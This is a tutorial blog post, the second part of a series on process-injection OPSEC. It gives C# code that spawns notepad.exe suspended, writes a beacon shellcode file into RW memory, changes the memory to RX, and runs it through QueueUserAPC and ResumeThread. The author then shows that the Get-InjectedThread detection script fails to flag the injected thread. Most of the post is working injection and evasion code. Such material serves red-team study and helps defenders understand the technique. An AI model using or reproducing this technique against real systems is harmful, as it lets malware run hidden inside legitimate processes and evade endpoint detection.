Exploring Process Injection OPSEC – Part 2

In Part 1, we reviewed the very simple VirtualAllocEx/WriteProcessMemory/CreateRemoteThread injection pattern. The two major OPSEC concern(s) that it had was both an RX memory region and an executing thread that were not backed by a module on disk.

In this part, we’ll fix the “thread” issue by replacing the use of CreateRemoteThread with QueueUserAPC. The easiest way to demonstrate this is to first spawn our target process in a suspended state. To do that, we can call the CreateProcess API (rather than using the .NET abstraction) and pass in the appropriate flag.

var success = Kernel32.CreateProcess(
    @"C:\Windows\System32\notepad.exe",
    null,
    null,
    null,
    false,
    Kernel32.CREATE_PROCESS.CREATE_SUSPENDED,
    null,
    @"C:\Windows\System32",
    Kernel32.STARTUPINFO.Default,
    out var processInformation);

if (success)
{
    Console.WriteLine($"PID: {processInformation.dwProcessId}");
    Console.WriteLine($"TID {processInformation.dwThreadId}");
}

If you’re following along, any process monitoring tool such as Task Manager, Process Hacker or Process Explorer will show the status of the process.

The next step is to allocate a new region of memory and write the shellcode into it – this can be done the same as previously using VirtualAllocEx and WriteProcessMemory (here, I show the steps to create the region as RW and then change it to RX afterwards).

var shellcode = File.ReadAllBytes(@"C:\Payload\beacon.bin");

// Allocate as RW
var hMemory = Kernel32.VirtualAllocEx(
    processInformation.hProcess,
    IntPtr.Zero,
    shellcode.Length,
    Kernel32.MEM_ALLOCATION_TYPE.MEM_COMMIT | Kernel32.MEM_ALLOCATION_TYPE.MEM_RESERVE,
    Kernel32.MEM_PROTECTION.PAGE_READWRITE);

// Write the shellcode
success = Kernel32.WriteProcessMemory(
    processInformation.hProcess,
    hMemory,
    shellcode,
    shellcode.Length,
    out _);

// Change to RX
success = Kernel32.VirtualProtectEx(
    processInformation.hProcess,
    hMemory,
    shellcode.Length,
    Kernel32.MEM_PROTECTION.PAGE_EXECUTE_READ,
    out _);

The call to QueueUserAPC is quite simple – we provide the location of the shellcode in memory, along with the handle to the thread we want to queue on.

var result = Kernel32.QueueUserAPC(
    hMemory, 
    processInformation.hThread,
    IntPtr.Zero);

Once that’s done, just resume the thread.

result = Kernel32.ResumeThread(processInformation.hThread);

All being well, your shellcode will execute.

OPSEC

I purposely printed the Thread ID after the process creation because it’s useful to cross-reference in Process Hacker. In this instance, the ID was 20212.

You can see the executing thread for the Beacon leads back to the main module of the host process. Unlike previously, we don’t have an additional thread that doesn’t lead back to a module and Get-InjectedThread doesn’t see it.

PS C:\Tools> ipmo .\Get-InjectedThread.ps1
PS C:\Tools> Get-InjectedThread
PS C:\Tools>

Related posts

ANYSIZE_ARRAY in C#

There are multiple structures in Windows that contain fixed sized arrays. The instance...

SafeHandle vs IntPtr

C# is a popular language in both the commercial space (think ASP.NET Core, MVC,...

C# Source Generators

Introduction

C# Source Generators made their first appearance around the release of .NET 5 and...

Latest posts

ANYSIZE_ARRAY in C#

There are multiple structures in Windows that contain fixed sized arrays. The instance...

SafeHandle vs IntPtr

C# is a popular language in both the commercial space (think ASP.NET Core, MVC,...

C# Source Generators

Introduction

C# Source Generators made their first appearance around the release of .NET 5 and...